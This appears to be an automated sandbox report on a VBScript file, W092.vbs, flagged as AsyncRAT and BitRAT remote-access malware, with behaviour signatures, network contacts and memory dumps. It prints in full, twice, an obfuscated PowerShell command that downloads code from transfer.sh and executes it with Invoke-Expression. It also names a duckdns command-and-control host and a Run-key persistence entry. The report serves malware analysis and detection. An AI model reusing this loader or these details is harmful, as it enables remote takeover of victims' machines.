Analysis Overview
SHA256
414a79e6c87489cb73e9176e867d554788a28ba86cb4e00f3f8fed15400999bd
Threat Level: Known bad
The file W092.vbs was found to be: Known bad.
Malicious Activity Summary
BitRAT Payload
BitRAT
suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
AsyncRat
Async RAT payload
Blocklisted process makes network request
UPX packed file
Adds Run key to start application
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-08-14 06:40
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2021-08-14 06:40
Reported
2021-08-14 06:43
Platform
win7v20210408
Max time kernel
150s
Max time network
185s
Command Line
Signatures
AsyncRat
BitRAT
BitRAT Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google = "C:\\Users\\Admin\\AppData\\Local\\Appdata\\Google.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1376 set thread context of 936 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe |
| PID 1376 set thread context of 1548 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\W092.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://transfer.sh/1T8qkDx/ko.txt';$SOS='24-42-20-3d-27-45-54-48-20-43-4f-49-4e-74-2e-57-54-46-20-43-4f-49-4e-6c-49-4f-53-4e-54-27-2e-52-65-70-6c-61-63-65-28-27-45-54-48-20-43-4f-49-4e-27-2c-27-6e-45-27-29-2e-52-65-70-6c-61-63-65-28-27-54-46-20-43-4f-49-4e-27-2c-27-45-62-43-27-29-2e-52-65-70-6c-61-63-65-28-27-4f-53-27-2c-27-65-27-29-3b-24-43-43-20-3d-20-27-44-4f-53-20-43-4f-49-4e-20-4c-53-4f-53-43-4f-49-4e-6e-47-27-2e-52-65-70-6c-61-63-65-28-27-53-20-43-4f-49-4e-20-27-2c-27-57-6e-27-29-2e-52-65-70-6c-61-63-65-28-27-53-4f-27-2c-27-6f-61-44-27-29-2e-52-65-70-6c-61-63-65-28-27-43-4f-49-4e-27-2c-27-54-72-49-27-29-3b-24-41-20-3d-27-49-60-45-6f-73-20-43-4f-49-4e-60-57-60-42-54-43-20-43-4f-49-4e-6a-60-45-54-48-20-43-4f-49-4e-20-24-42-29-2e-24-43-43-28-24-54-52-55-4d-50-29-27-2e-52-65-70-6c-61-63-65-28-27-6f-73-20-43-4f-49-4e-27-2c-27-58-28-6e-60-65-27-29-2e-52-65-70-6c-61-63-65-28-27-42-54-43-20-43-4f-49-4e-27-2c-27-2d-4f-62-27-29-2e-52-65-70-6c-61-63-65-28-27-54-48-20-43-4f-49-4e-27-2c-27-60-63-60-54-27-29-3b-26-28-27-49-27-2b-27-45-58-27-29-28-24-41-20-2d-4a-6f-69-6e-20-27-27-29-7c-26-28-27-49-27-2b-27-45-58-27-29-3b';Invoke-Expression (-join ($SOS -split '-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | transfer.sh | udp |
| N/A | 144.76.136.153:80 | transfer.sh | tcp |
| N/A | 8.8.8.8:53 | asyncpc.duckdns.org | udp |
| N/A | 13.77.222.211:6650 | asyncpc.duckdns.org | tcp |
| N/A | 20.194.35.6:7904 | tcp |
Files
memory/1840-59-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp
memory/1376-60-0x0000000000000000-mapping.dmp
memory/1376-62-0x0000000001ED0000-0x0000000001ED1000-memory.dmp
memory/1376-63-0x000000001ACB0000-0x000000001ACB1000-memory.dmp
memory/1376-64-0x0000000001F10000-0x0000000001F11000-memory.dmp
memory/1376-65-0x000000001AC30000-0x000000001AC32000-memory.dmp
memory/1376-66-0x000000001AC34000-0x000000001AC36000-memory.dmp
memory/1376-67-0x0000000001E30000-0x0000000001E31000-memory.dmp
memory/1376-68-0x000000001C6B0000-0x000000001C6B1000-memory.dmp
memory/1376-69-0x0000000002630000-0x0000000002631000-memory.dmp
memory/1376-72-0x0000000002660000-0x0000000002661000-memory.dmp
memory/1376-84-0x0000000002740000-0x0000000002741000-memory.dmp
memory/1376-85-0x0000000002890000-0x0000000002891000-memory.dmp
memory/1376-86-0x000000001AC3A000-0x000000001AC59000-memory.dmp
memory/1376-87-0x000000001B5E0000-0x000000001B5E1000-memory.dmp
memory/1376-88-0x000000001ABB0000-0x000000001ABDA000-memory.dmp
memory/1376-89-0x0000000002730000-0x0000000002731000-memory.dmp
memory/936-90-0x0000000000400000-0x0000000000412000-memory.dmp
memory/936-91-0x000000000040D11E-mapping.dmp
memory/936-92-0x0000000000400000-0x0000000000412000-memory.dmp
memory/936-94-0x00000000762C1000-0x00000000762C3000-memory.dmp
memory/936-95-0x00000000047A0000-0x00000000047A1000-memory.dmp
memory/1548-97-0x0000000000400000-0x00000000007E4000-memory.dmp
memory/1548-98-0x00000000007E2740-mapping.dmp
memory/1376-99-0x0000000001E00000-0x0000000001E01000-memory.dmp
memory/1548-101-0x0000000000400000-0x00000000007E4000-memory.dmp
memory/1376-103-0x0000000002720000-0x0000000002721000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2021-08-14 06:40
Reported
2021-08-14 06:42
Platform
win10v20210410
Max time kernel
114s
Max time network
145s
Command Line
Signatures
AsyncRat
suricata: ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 812 set thread context of 2872 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\W092.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://transfer.sh/1T8qkDx/ko.txt';$SOS='24-42-20-3d-27-45-54-48-20-43-4f-49-4e-74-2e-57-54-46-20-43-4f-49-4e-6c-49-4f-53-4e-54-27-2e-52-65-70-6c-61-63-65-28-27-45-54-48-20-43-4f-49-4e-27-2c-27-6e-45-27-29-2e-52-65-70-6c-61-63-65-28-27-54-46-20-43-4f-49-4e-27-2c-27-45-62-43-27-29-2e-52-65-70-6c-61-63-65-28-27-4f-53-27-2c-27-65-27-29-3b-24-43-43-20-3d-20-27-44-4f-53-20-43-4f-49-4e-20-4c-53-4f-53-43-4f-49-4e-6e-47-27-2e-52-65-70-6c-61-63-65-28-27-53-20-43-4f-49-4e-20-27-2c-27-57-6e-27-29-2e-52-65-70-6c-61-63-65-28-27-53-4f-27-2c-27-6f-61-44-27-29-2e-52-65-70-6c-61-63-65-28-27-43-4f-49-4e-27-2c-27-54-72-49-27-29-3b-24-41-20-3d-27-49-60-45-6f-73-20-43-4f-49-4e-60-57-60-42-54-43-20-43-4f-49-4e-6a-60-45-54-48-20-43-4f-49-4e-20-24-42-29-2e-24-43-43-28-24-54-52-55-4d-50-29-27-2e-52-65-70-6c-61-63-65-28-27-6f-73-20-43-4f-49-4e-27-2c-27-58-28-6e-60-65-27-29-2e-52-65-70-6c-61-63-65-28-27-42-54-43-20-43-4f-49-4e-27-2c-27-2d-4f-62-27-29-2e-52-65-70-6c-61-63-65-28-27-54-48-20-43-4f-49-4e-27-2c-27-60-63-60-54-27-29-3b-26-28-27-49-27-2b-27-45-58-27-29-28-24-41-20-2d-4a-6f-69-6e-20-27-27-29-7c-26-28-27-49-27-2b-27-45-58-27-29-3b';Invoke-Expression (-join ($SOS -split '-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | transfer.sh | udp |
| N/A | 144.76.136.153:80 | transfer.sh | tcp |
| N/A | 13.77.222.211:6890 | tcp |
Files
memory/812-114-0x0000000000000000-mapping.dmp
memory/812-119-0x000001E125CD0000-0x000001E125CD1000-memory.dmp
memory/812-123-0x000001E125FB0000-0x000001E125FB1000-memory.dmp
memory/812-124-0x000001E10BDE0000-0x000001E10BDE2000-memory.dmp
memory/812-125-0x000001E10BDE3000-0x000001E10BDE5000-memory.dmp
memory/812-126-0x000001E10BDE6000-0x000001E10BDE8000-memory.dmp
memory/812-142-0x000001E10BDE8000-0x000001E10BDE9000-memory.dmp
memory/812-153-0x000001E10D5C0000-0x000001E10D5EA000-memory.dmp
memory/2872-158-0x0000000000400000-0x0000000000412000-memory.dmp
memory/2872-159-0x000000000040D11E-mapping.dmp
memory/812-164-0x000001E10D5F0000-0x000001E10D5F1000-memory.dmp
memory/2872-165-0x00000000052A0000-0x00000000052A1000-memory.dmp
memory/2872-166-0x0000000005BE0000-0x0000000005BE1000-memory.dmp
memory/2872-167-0x0000000006180000-0x0000000006181000-memory.dmp
memory/2872-168-0x0000000005C80000-0x0000000005C81000-memory.dmp